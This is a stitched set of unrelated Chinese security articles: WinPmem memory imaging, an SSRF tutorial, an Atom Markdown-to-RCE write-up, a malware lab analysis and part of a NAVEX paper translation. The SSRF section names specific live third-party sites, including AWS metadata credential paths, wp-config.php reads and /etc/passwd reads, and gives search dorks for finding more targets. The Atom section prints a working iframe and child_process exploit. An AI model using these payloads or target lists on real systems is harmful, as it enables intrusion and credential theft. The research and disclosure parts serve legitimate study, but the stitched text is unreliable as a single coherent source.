VSM是利用CPU片上的虚拟化扩展来对关键进程和内存实现隔离，从而防止恶意篡改。这些保护是由硬件辅助的，管理程序会请求硬件以不同的方式处理这些内存页。
在实际中，这就意味着，属于敏感进程的某些页实际上在正常的操作系统上是不可读的。如果尝试读取这些页，就会产生一个段错误。当然，在正常的执行过程中，VSM容器永远不会访问这些物理页，因为这些物理页不属于它。但是，虚拟机管理程序会额外进行基于硬件的检查，以确保无法访问这些页。上面的修复方法之所以有效，是因为捕获到了段错误，并使WinPmem移动到下一页，从而变了BSOD。
所以，我修改了WinPmem，并报告其无法读取的所有PFN。现在，WinPmem会在查询结束后，打印出所有不可读页的列表：
大家可以看到，受管理程序保护的页数量其实不多，总计约25MB大小。这些页不包含在特定区域中，它们被喷射在所有物理内存周围。这实际上非常有道理，但我们还需要认真确认一下。
于是，我们运行了内核调试器（Windbg），并看看它是否可以读取WinPmem无法读取的物理页。实际上，Windbg有!db命令来读取物理内存。
将这里的输出与之前的屏幕截图进行比较，我们可以发现，WinPmem无法读取PFN
0x2C7和0x2C9，但它可以读取0x2C8。Windbg完全相同，它也无法读取那些可能受到VSM保护的页。
## 尝试读取不可读的页
实际上，这是一个有趣的开发过程。磁盘映像很长时间以来都有一个扇区能够读取错误，并且磁盘映像格式已经对这种可能性进行了证明。当某个扇区不可读时，我们可以对该扇区进行零填充，大多数磁盘映像取证工具都有方法来指示扇区的不可读状态。但针对内存来说，这样的情况在内存镜像中从未发生过，因为我们即使有正确的权限，也无法从RAM中读取。
WinPmem默认使用AFF4格式，而AFF4专门设计了“诊断镜像” （Forensic
Imaging）功能。目前，AFF4库使用“UNREADABLE”字符串来填充不可读的页，以指示该页已受到保护。
请注意，如果镜像格式不支持这种情况（例如RAW镜像或故障转储），那么我们就只能对不可读的页进行零填充，我们并不知道这些页原本就是零，还是不可读。
## PTE重映射 VS MmMapIoSpace
对于熟悉WinPmem的用户来说，可能都知道WinPmem使用了一种名为PTE重映射的技术。所有内存获取工具都必须将物理内存映射到内核的虚拟地址空间，所有软件只能读取虚拟地址空间，并且无法直接访问物理内存。
通常，有4种技术可以将物理内存映射到虚拟内存：
1、使用.PhysicalMemory设备，这是一种将物理内存导出到用户控件的老方法，并且已经被Windows禁用了很长时间。
2、使用未公开的MmMapMemoryDumpMdl()函数，将任意物理页映射到内核空间。
3、使用MmMapIoSpace()函数，该函数通常用于将PCI设备DMA缓冲区映射到内核空间。
4、直接进行PTE重映射，这也是WinPmem所使用的技术。
从操作系统稳定性的角度来看，获取内存在定义上是不正确的操作。例如，在驱动程序验证程序运行WinPmem的MmMapIoSpace()模式，将会产生代码为0x1233的0x1a错误检查，错误信息为：“有一个驱动程序试图映射未锁定的物理内存页。由于页的内容或属性可能随时发生变化，因此该操作非法”。
但在技术上来说，这是正确的，我们将系统物理内存的一些随机页映射到虚拟内存空间，但我们实际上并不是这些页的所有者，所以任何人都可以随时继续使用这些页。显然，如果我们想要编写一个内核驱动程序，映射实际上并非我们拥有的物理内存不是一个好的行为，但这正是内存采集的意义所在。
另一个有趣的问题是缓存属性。大多数人可能都认为直接PTE操作不太可靠，因为它会绕过操作系统，直接映射物理页面，而忽略内存缓存属性。但实际上，操作系统其实执行了许多额外的检查，目的就是为了捕获到错误的API使用。例如，如果缓存属性不正确，那么对MmMapIoSpace()函数的请求可能就会失败。如果我们想读取并写入内存，那么需要考虑缓存的一致性，但在这里我们只想获取内存，因此在这里是没关系的。不管无论如何，我们都只会对镜像进行操作，缓存是不可能以任何方式影响到镜像的。
WinPmem同时具有PTE重映射和MmMapIoSpace()模式。MmMapIoSpace()模式通常情况下无法收集更多页。下图分别是PTE重映射方法和MmMapIoSpace()方法所获得的输出结果。
PTE重映射方法：
MmMapIoSpace()方法：
如我们所见，MmMapIoSpace()方法无法读取更多的页，并且内核调试器证明了有一些它无法读取的页仍然可以访问。
## 总结
本文是我在进行虚拟安全模式系统内存采集工作原理研究过程中的记录。如果读者发现其中存在任何错误，欢迎在DFIR/Rekall/Winpmem邮件列表中发表评论。在我看来，WinPmem无法读取受保护的页面是有道理的，甚至内核调试器也无法读取相同的页面。但是，我检查了DumpIt生成的镜像，它居然包含了本应不可读的这些页面的数据（并不是全零）。另一个有趣的事情时，DumpIt会报告没有读取页面的错误（如上文截图所示），因此该工具会声称已经读取了所有页面（包括那些受VSM保护的页面）。但实际上，DumpIt是否以其他的方法实现了读取，或者它是否存在诸如未初始化缓冲区的问题从而导致读取失败的页返回了随机垃圾数据？我们还需要进一步进行测试，才能对上述问题有一个准确的回答。
## 致谢
感谢Binalyze的Emre Tinaztepe进行的测试工作，同时感谢Matt Suiche的反馈以及进行的深入研究和工具制作。 | 社区文章 |
第二部分[传送门](https://xz.aliyun.com/t/3939 "传送门")
让我们进入实例
> 该博客的作者不对任何滥用信息负责。
# 4.实例
https://robert-brook.com/parliament/index.php?page=http://www.parliament.uk/business/news/2019/parliamentary-news-2019/this-week-in-the-commons-friday-25-january-2019/
在这里，页面参数获取外部资源并显示其内容。
## SSRF到XSS
https://robert-brook.com/parliament/index.php?page=http://brutelogic.com.br/poc.svg
读取本地文件
https://robert-brook.com/parliament/index.php?page=file:///etc/passwd
当您尝试其他URL(如dict)时，会出错
> 警告：file_get_contents（）：无法找到包装器“dict” - 你是否忘记在配置PHP时启用它。
这表示未启用DICT URL结构
## FFMPEG中的SSRF
读取本地文件
Demo
<https://youtu.be/OQBZ__L23KU>
易受攻击的站点-
https://www.onlinevideoconverter.com/
https://www.files-conversion.com/
Repo链接:<https://github.com/neex/ffmpeg-avi-m3u-xbin>
## SSRF在广泛使用的插件和CMS中的应用
Jira的SSRF
Jira版本号低于7.3.5正遭受SSRF的困扰
https://<JIRA_BASEPATH>/plugins/servlet/oauth/users/icon-uri?consumerUri=…
在Shodan有4万多个JIRA站点。你可以利用下面的dork
X-AUSERNAME: anonymous
X-AUSERNAME: anonymous org:"Amazon.com" -- For aws
X-AUSERNAME: anonymous org:"Microsoft Azure" -- For Azure
X-AUSERNAME: anonymous org:"google" -- For Google
现在让我们看看一些易受攻击的站点
https://jira.majesco.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.intellectdesign.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://team.asg.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.magnitude.com/https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://support.eu.evertz.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.dhis2.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.vectormediagroup.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/ -- Aws Details
https://mattel.cprime.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://www.mfjira.io/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://adoptivefam.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.iea-dpc.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.fellowshipchurch.com:8443/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.soleus.nu/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://jira.succraft.com:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://support.make-my-day.co.nz/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://52.202.112.34/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/SystemsManagerRole -- Aws Details
https://jira.canallabs.fr/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/profile -- Aws Details
http://54.247.191.19/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data -- Aws Details
http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data -- Aws Details
http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance -- Aws Details
https://devops.deviate.net.nz/projects/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance -- Aws Details
https://52.73.101.120/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/BitbucketRole -- Aws Details
这是我发现的一些易受攻击的网站
## JSmol2WP Wordpress插件中的SSRF
低于1.07的JSmol2WP版本具有未经身份验证的服务器端请求伪造
http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
Dork -
inurl:wp-content/plugins/jsmol2wp
易受攻击的网站
https://www.vivelab12.fr/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php -- DB details
http://thasso.com/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=https://google.com -- Fetch google.com
http://www.ch.ic.ac.uk/rzepa/blog/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php -- DB details
## Qards Wordpress插件中的SSRF
Qards容易受到服务器端请求伪造（SSRF）的攻击
http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
Dork-
inurl:wp-content/plugins/qards
易受攻击的网站 -
http://www.horlovia-chemicals.ch/wordpress/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://vfsgroup.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://mrgoatygelato.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://arturolopezvalerio.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://hooverwellness.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
## HTML到PDF转换的SSRF
易受攻击的网站 -
https://pdfcrowd.com/#convert_by_input
https://convertio.co/html-pdf/
Ssrf.html的内容
"><iframe src="file:///etc/passwd"></iframe>
"><svg/onload=document.write(document.location)> -- to know the path and some times to know what os they are using at backend
以上发布的所有这些网站只是为了让您练习，我不对任何滥用信息负责。
./第三部分结束
教程来源：https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-3-b0f5997e3739 | 社区文章 |
# 【技术分享】如何利用Atom中的安全问题实现远程代码执行
|
##### 译文声明
本文是翻译文章，文章来源：statuscode.ch
原文地址：<https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
近期，我对GitHub所使用的文本编辑器-[Atom](https://atom.io/)进行了分析，并成功地在Atom中找到了多个安全漏洞。通过研究之后，我成功地利用这些漏洞实现了远程代码执行。
当我将漏洞信息通过[HackerOne](https://hackerone.com/github)上报给Atom的开发团队之后，这些漏洞已经在2017年10月12日发布的[Atom
v1.21.1](https://github.com/atom/atom/releases/tag/v1.21.1)中得到了修复。如果你想复现漏洞的话，可以参考GitHub上发布的旧版本代码【[传送门](https://github.com/atom/atom/releases/tag/v1.21.0)】。
**
**
**Web安全问题影响了桌面端App**
Atom是基于Electron开发的，而Electron是一款用于开发桌面应用的跨平台框架，该框架使用的语言是JavaScript、HTML和CSS。
但是，这种框架也将某些常见的Web端安全问题带到了桌面端应用的身上，我们这里所指的安全问题就是跨站脚本漏洞（XSS）。由于整个应用程序的逻辑是基于JavaScript实现的，而一个跨站脚本漏洞就有可能导致攻击者实现任意代码执行。毕竟对于一款基于JavaScript实现的应用来说，攻击者能做到的跟开发者所能做的其实是差不多的。
当然了，我们也有很多方法来缓解Electron中的跨站脚本漏洞所带来的影响，但如果这些安全解决方案部署不当的话，它们还是有可能会被攻击者轻松绕过的。
**
**
**使用内容安全策略缓解XSS**
在开始分析漏洞之前，我们先来看一看GitHub是如何缓解Atom中的XSS问题的。没错，GitHub使用的就是内容安全策略（CSP）。如果你分析过Atom中index.html文件的代码的话，你将会看到如下所示的部署策略：
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">
<script src="index.js"></script>
</head>
<body tabindex="-1"></body>
</html>
注意上述代码中的script-src 'self' 'unsafe-eval'，即它允许同源的JavaScript以及使用eval()构建的代码运行，但是禁止任何内联JavaScript运行。
简而言之，在下面给出的样例中，只有“index.js”中的JavaScript代码可以被执行，而alert(1)无法执行，因为它属于内联JavaScript：
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">
</head>
<!-- Following line will be executed since it is JS embedded from the same origin -->
<script src="index.js"></script>
<!-- Following line will not be executed since it is inline JavaScript -->
<script>alert(1)</script>
</html>
****
**Atom如何解析Markdown文件？**
在面对某些包含解析器或者预览功能的软件时，多花一些时间去研究相关组件往往会给我们带来意想不到的收获。在绝大多数场景中，软件的解析库一般都是使用某些第三方组件实现的，而且在实现这些组件的时候或多或少都会存在不同的安全问题。而组件的开发者跟使用者所想的也有可能不一样，比如说，开发者会假设提供给代码库的肯定是受信数据，而使用者可能会认为代码库会对不安全的数据进行过滤处理，这样也就导致了安全漏洞的产生。
所以，我首先要做的就是对Atom解析Markdown文件的过程进行分析，跟该组件相关的代码可以在GitHub的[atom/markdown-preview](https://github.com/atom/markdown-preview)找到。很快我便发现，Markdown解析器似乎还可以解析任意HTML文档：
接下来，我尝试注入了一段简单的JavaScript代码来判断Markdown代码库是否会过滤掉JavaScript代码。虽然内容安全策略在这里可以防止代码运行，但我这里只是想确认代码库是否实现了最基本的数据过滤（清洗）功能。事实证明，这里真的有…请大家看下面这张截图，其中的script语句没有显示在DOM之中：
在进行了简单的信息搜索之后，我发现“GitHub能够解析任意HTML文档”的这种功能实际上是他们故意这样设计的。因此，Markdown代码库才引入了这种[数据清洗模式](https://github.com/atom/markdown-preview/pull/73)（一种[自定义的数据过滤功能](https://github.com/atom/markdown-preview/blob/4c6584bbad62bd2fbb6fd08fab8888ad20596d03/lib/renderer.coffee#L51-L79)）：
sanitize = (html) ->
o = cheerio.load(html)
o('script').remove()
attributesToRemove = [
'onabort'
'onblur'
'onchange'
'onclick'
'ondbclick'
'onerror'
'onfocus'
'onkeydown'
'onkeypress'
'onkeyup'
'onload'
'onmousedown'
'onmousemove'
'onmouseover'
'onmouseout'
'onmouseup'
'onreset'
'onresize'
'onscroll'
'onselect'
'onsubmit'
'onunload'
]
o('*').removeAttr(attribute) for attribute in attributesToRemove
o.html()
虽然这种数据过滤功能的保护性非常的弱，但我们不能使用on-listener(例如onClickListener)来绕过它，因为它可能会触发内容安全策略，这将导致恶意Payload无法被执行。
但是，我们可以注入其他类型的HTML Payload，我们先认真看一看之前那张屏幕截图：
很明显，Atom是以协议file://执行的，那如果我们创建一个恶意HTML文件并将其嵌入在本地文件之中呢？如果可以的话，该文件将会被视作是Electron的本地文件所提供的（符合同源策略），因此我们的JavaScript代码将会被执行。
所以我在主文件夹中创建了一个名叫hacked.html的文件，文件内容如下所示：
<script>
alert(1);
</script>
接下来，我只需要在Markdown文档中使用一个iframe标签即可成功触发JavaScript代码：
**
**
**配合本地DOM XSS**
但是我现在还无法执行任意JavaScript代码，因为还有一个问题没解决：即漏洞的利用需要大量的用户交互：
1\. 用户需要主动打开恶意的Markdown文档；
2\. 用户需要打开Markdown文档的预览窗口；
3\. 恶意Markdown文档还需要另一个包含恶意JavaScript代码的本地HTML文件存在；
而在真实的场景中，上述条件就显得有些牵强了。但是，如果我们能找到某个本地文件中存在DOM
XSS漏洞的话，不就可以了吗？而这种情况更加适用于真实场景下的漏洞利用过程。
所以，我打算对Atom所绑定的HTML文件进行分析。幸运的是，在macOS系统中，应用程序本身就是一堆代码和文件。所以我们可以直接在/Applications/Atom.app/Contents目录中访问Atom
bundle：
快速搜索bundle中的HTML文件后，我们得到了以下相关文件：
➜ Contents find . -iname "*.html"
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html
./Resources/app/apm/node_modules/clone/test-apart-ctx.html
./Resources/app/apm/node_modules/clone/test.html
./Resources/app/apm/node_modules/colors/example.html
./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html
./Resources/app/apm/node_modules/jsbn/example.html
现在，你就可以使用[静态分析技术](https://statuscode.ch/2015/05/static-javascript-analysis-with-burp/)来分析这些HTML文件了，不过你也可以进行手动分析。由于工作量不大，所以我选择进行手动分析，而文件/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html看起来似乎很有意思：
<html>
<head>
<meta charset="utf-8">
<title>Clone Test-Suite (Browser)</title>
</head>
<body>
<script>
var data = document.location.search.substr(1).split('&');
try {
ctx = parent[data[0]];
eval(decodeURIComponent(data[1]));
window.results = results;
} catch(e) {
var extra = '';
if (e.name == 'SecurityError')
extra = 'This test suite needs to be run on an http server.';
alert('Apart Context iFrame Errorn' + e + 'nn' + extra);
throw e;
}
</script>
</body>
</html>
在document.location.search调用了eval()，而Atom的内容安全策略允许使用eval语句，因此我们只需要使用类似下面的这种语句就能够触发一个对话弹窗：
file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)
实际上，我们只需要下面这种Markdown文档就能够执行任意JavaScript代码了：
<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>
**
**
**执行任意本地代码**
正如我们之前所提到的，在一个Electron应用中执行恶意JavaScript代码也就意味着实现本地代码执行。在我们的分析场景中，最简单的实现方法就是访问window.top对象，然后使用NodeJS的require函数来访问child_process模块。下面给出的JavaScript代码将能够打开macOS的计算器程序：
<script type="text/javascript">
window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});
</script>
刚才的漏洞利用代码经过URL编码后，形式如下：
<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>
打开恶意Markdown文档之后，Calculator.app将会运行：
**
**
**远程实现所有操作**
虽然我们刚才介绍的方法可以让Atom中的这些安全问题更加容易被攻击者所利用，但是它仍然需要目标用户手动打开攻击者所提供的恶意Markdown文档。不过需要注意的是，Atom能够呈现Markdown文档内容的地方可不止这一个。
通过使用grep搜索了Atom的源代码之后，我们发现其实还有一个模块能够解析Markdown文件，即Atom设置：[atom/settings-view](https://github.com/atom/settings-view/)。实际上，这个模块所采用的数据清洗方法也同样存在[安全问题](https://github.com/atom/settings-view/blob/f0e5e1a23dc61b5bda1f40045c4b365e8a68142f/lib/package-readme-view.js)：
const ATTRIBUTES_TO_REMOVE = [
'onabort',
'onblur',
'onchange',
'onclick',
'ondbclick',
'onerror',
'onfocus',
'onkeydown',
'onkeypress',
'onkeyup',
'onload',
'onmousedown',
'onmousemove',
'onmouseover',
'onmouseout',
'onmouseup',
'onreset',
'onresize',
'onscroll',
'onselect',
'onsubmit',
'onunload'
]
function sanitize (html) {
const temporaryContainer = document.createElement('div')
temporaryContainer.innerHTML = html
for (const script of temporaryContainer.querySelectorAll('script')) {
script.remove()
}
for (const element of temporaryContainer.querySelectorAll('*')) {
for (const attribute of ATTRIBUTES_TO_REMOVE) {
element.removeAttribute(attribute)
}
}
for (const checkbox of temporaryContainer.querySelectorAll('input[type="checkbox"]')) {
checkbox.setAttribute('disabled', true)
}
return temporaryContainer.innerHTML
}
实际上，Markdown的解析器同样会受到这些安全问题的影响，而且受影响程度也比较严重。
Atom还支持所谓的第三方“Packages”（包），这些代码包基本上都是社区提供的，可以从[atom.io/packages](https://atom.io/packages)获取。而这些包能够以Markdown格式定义README文档，而文档的内容将会在Atom设置窗口中呈现给用户。
因此，恶意攻击者只需要注册一大堆恶意包（包名可以跟现有的第三方包名类似），只要目标用户点击了这个包名（无需进行安装），那么嵌入在README文档中的恶意代码就能够被触发并执行。
**
**
**GitHub如何修复这个问题？**
我们在跟GitHub的开发人员进行了一系列探讨之后，最终得出了以下的漏洞修复策略：
1\. 从bundle中删除一些不必要的HTML文件。
2\. 使用[DOMPurify](https://github.com/cure53/DOMPurify)来对Markdown文档的内容进行数据过滤。
虽然这种解决方案并不算十分完美，但是对于目前来讲也已经足够有效了。与此同时，GitHub也准备使用一种更加严格的Markdown解析器，但是这很有可能会影响很多[现存用户的工作流程](https://xkcd.com/1172/)。 | 社区文章 |
# 目标
通过分析代码结构来理解一个恶意样本的总体功能。
本篇主要通过分析样本了解switch语句
# 分析流程
1.基础静态分析
2.基础动态分析
3.高级静态分析
# 实践过程
## 实例1
Lab06-03.exe
### 基础静态分析
导入函数
InternetOpenUrlA
InternetCloseHandle
InternetReadFile
InternetGetConnectedState
InternetOpenA
RegSetValueExA
RegOpenKeyExA
CreateDirectoryA
CopyFileA
DeleteFileA
GetFileType
WriteFile
字符串
http://www.practicalmalwareanalysis.com/cc.htm
Software\Microsoft\Windows\CurrentVersion\Run
C:\Temp\cc.exe
C:\Temp
Error 1.1: No Internet
Success: Internet Connection
Error 2.3: Fail to get command
Error 2.2: Fail to ReadFile
Error 2.1: Fail to OpenUrl
Internet Explorer 7.5/pma
Error 3.2: Not a valid command provided
Error 3.1: Could not set Registry value
Malware
Success: Parsed command is %c
根据api和字符串可以判断：
1.存在联网访问 <http://www.practicalmalwareanalysis.com/cc.htm>
网址操作并且通过字符串中的错信息可以判断可能存在解析网页来获取命令来执行
2.写注册表来是实现自启动
3.产生衍生文件C:\Temp\cc.exe
### 基础动态分析
和之前分析一样，根据不同网络状态返回打印内容，接着通过高级静态分析来看程序后续操作
### 高级静态分析
直接跟如main函数进行分析
_cmp指令，脑子里立刻浮现一个if-else语句流程图，将跳转后的语句和紧跟跳转指令后的指令填入对应的if和else语句块中。_
判断条件：sub_401000函数返回结果，即联网状态
if(条件成立)：调用sub_401040函数获取返回结果，如果返回结果不为0则太跳转到loc_40123C，所以接下来分析sub_401040
else(条件不成立)：eax置0，并且跳转到main函数结尾
sub_401040:
第一层也就是最外层的if语句判断是否可以打开<http://www.practicalmalwareanalysis.com/cc.htm>
，如果可以打开则条件成立，进入嵌套的第二层if语句，判断是否可以读取该网页文件，如果可以则进入嵌套的第三层if语句，判断读取的内容是否以`<!--`开头，如果条件成立则将接下来的数据赋给al并跳转返回。
我们假设满足条件：可以访问到网页文件并且网页文件以`<!--`开头，返回数据后，我们进入loc_40123C主要分析sub_401130函数：
##### switch语句（if+跳转表）
根据上一步从网页中获取的数据来得到对应的edx值，从而根据找到跳转表对应的位置进行跳转并执行相应代码。
这里有：
* 创建目录
* 复制当前程序到C:\Temp\cc.exe
* 删除C:\Temp\cc.exe
* 设置C:\Temp\cc.exe对应的开启自启动注册表键值Malware
#### 小结
分析到这里基本完毕。
主要恶意行为就是通过从网页中获取的指令来执行对样本的隐藏、删除、自启动以及创建目录的操作。
## switch补充
上面的实例中介绍到了switch的一种跳转表的跳转形式，下面补充一种纯用if语句进行的跳转：
真实代码
#include <stdio.h>
void main()
{
int i = 0;
scanf("%d", &i);
switch(i)
{
case 0:
printf("a");
break;
case 1:
printf("b");
break;
case 2:
printf("c");
break;
default:
break;
}
}
汇编：
cmp + jz + jmp实现的switch流程 | 社区文章 |
**出处：27th USENIX Security Symposium
作者：Abeer Alhuzali, Rigel Gjomemo, Birhanu Eshete, and V.N.
单位：Venkatakrishnan University of Illinois at Chicago
资料：[Paper](https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-alhuzali.pdf)
| [Github](https://github.com/aalhuz/navex)
译者：Z3R0YU
译者博客：<http://zeroyu.xyz/>**
### 1\. Abstract & Introduction
作者在本文中提出了一种以静态分析作为指导，结合动态分析自动验证漏洞并构造可用exploit的工具NAVEX。
研究问题：
1. 解决以往自动化审计的误报以及必须结合人工参与构造Exp的问题；
2. 静态分析虽然覆盖率高，但是对于具有动态特性的语言其建模困难。
解决方案：
1. 静态分析阶段：使用符号执行创建Web应用程序的各个模块的行为模型。标记出包含潜在漏洞点的模块；
2. 动态分析阶段：使用Web爬虫和concolic执行器去发现可能导致攻击者进入易受攻击模块的可能的HTTP导航路径，之后使用约束求解器生成一组对漏洞进行利用的HTTP输入序列。
方案优点：
1. 动态分析与静态分析相结合提升了性能，可以应用于大型应用程序；
2. 是一种多类型漏洞的Exp生成框架。
NAVEX分析了320万行PHP代码，自动构建并利用204个漏洞，其中有195个与SQLI和XSS相关，而9个与逻辑漏洞相关。此外NAVEX是第一个可以自动发现并利用EAR漏洞的方案。
### 2 Challenges and Approach Overview
#### 2.1 Running Example
下面是一个包含漏洞的小型Web程序。selectBooks.php模块在第23-38行使用了Web表单来实现选择数据，其中在23行调用了JavaScript来验证数输入，相关定义在第31-36行。第4-12行实现用户输入由服务器端代码进一步验证和过滤。之后第17行通过MySQL查询来验证书籍的可用性。最后根据查询结果，初始化`$_SESSION['ISBN']`并在浏览器上打印到hold.php的HTTP链接。
之后跳转到hold.php执行附加检查，如果满足，则HTTP链接引导用户进入下一步（第7行）。 单击链接时，将设置超全局`$_GET
['step']`，从而让hold.php包含模块checkout.php并执行。
checkout.php通过向用户提供链接（第19行）进行确认来完成借用过程。
该链接设置两个超全局变量（`$_GET['step']`和`$_GET['msg']`），将在第6行进行检验。最后，调用确认功能（第13行）以通知用户该书已成功保留。
该程序存在以下几点缺陷：
1. selectBooks.php:17中$publisher经过简单校验就传入SQL语句进行拼接，可造成SQLi漏洞(str_place函数进行了无效过滤)；
2. checkout.php:15行使用了echo，可能会造成XSS；
3. selectBooks.php:3行调用header但是没有使用exit()，造成EAR漏洞进而可以在不进行登录的情况下触发下面的SQLi漏洞。
#### 2.2 Challenges
面临的挑战主要是以下三点：
1. **污点可达性** ：对于WebApp而言，完成一个功能往往是各模块相关联的。此外，模块中往往还使用内置函数过滤(比如htmlspecialchars)、隐式过滤(比如类型转换)、自定义过滤和数据库约束条件带来的过滤来消除风险。所以攻击路径的寻找是具有一定难度的。
2. **动态特征** ：静态分析对于动态程序的分析具有局限性，比如无法推断动态将会生成怎样的表单或者链接(比如使用JavaScript来生成的内容)。
3. **扩展性** ：对大型程序的分析会覆盖客户端，服务器端和数据库后端，因而会产生很多路径，必须使用一些方法来减少一些无用的路径。(之所以叫扩展性应该是跟后面的COG图的扩展有关)
#### 2.3 Approach Overview
方法主要分为两个步骤：
1. 可能的漏洞点识别。首先，定位程序中可能的漏洞点以及对应的模块(这样减少后面的搜索空间)；其次，对各种过滤方案进行了精确表示；最后，对自定义的过滤先使用符号约束构建模型之后使用约束求解器来判断过滤的稳健性。
2. 具体的漏洞利用生成。首先，动态执行得到Web应用程序的导航结构；其次，结合静态分析得到的漏洞点和对应的模块寻找可行的攻击路径；最后，多次重复动态执行，使用约束求解最大化路径覆盖。
### 3 Architecture and Algorithms
#### 3.1 Vulnerable Sink Identification
目的：排除那些不包含漏洞点的模块
方法：如下图，首先，构建每个模块代码的图模型；然后，发现包含源和目标(漏洞点)之间数据流的路径；最后，使用符号执行生成公式后利用约束求解以确定哪些路径可能被利用。
##### 3.1.1 Attack Dictionary
多种漏洞被触发的过程是相似的–均是攻击载荷到达敏感接收器进而触发漏洞，所以NAVEX使用这种相似性构建了一个包含Sinks(敏感接收器)、Sanitizations(过滤函数)、遍历类型(前向遍历还是反向遍历)和攻击字符串(其实就是收集的WebFuzz字典)的攻击字典来实例化针对每类漏洞的分析。
字典包含：SQLI，XSS，文件包含，命令注入，代码执行和EAR漏洞。
##### 3.1.2 Graph Construction
代码属性图（CPG）是一种结合了抽象语法树（AST），控制流图（CFG），调用图和数据依赖图（DDG）的表示。此处，将过滤标签和数据库约束标记作为属性添加到CPG，从而对其进行扩展。最终将漏洞发现问题转变为对CPG图的遍历问题。
##### 3.1.3 Graph Traversal
此步骤的目的是通过对扩展后CPG来寻找攻击路径，主要分为向后遍历和向前遍历。向后遍历的算法如下图所示。正向遍历则主要是从源到可能漏洞点的路径搜索，这种搜索方式也是对EAR漏洞的重要检测方法。(文中提到了良性EAR–header之后不含可利用点和恶性EAR–header之后包含可利用点)。图遍历最终将会返回一组可能容易受到攻击的路径供下一步使用。
##### 3.1.4 Exploit String Generation
利用上一步发现的攻击路径来生成攻击字符串是静态分析的最后一步。首选构造增广公式
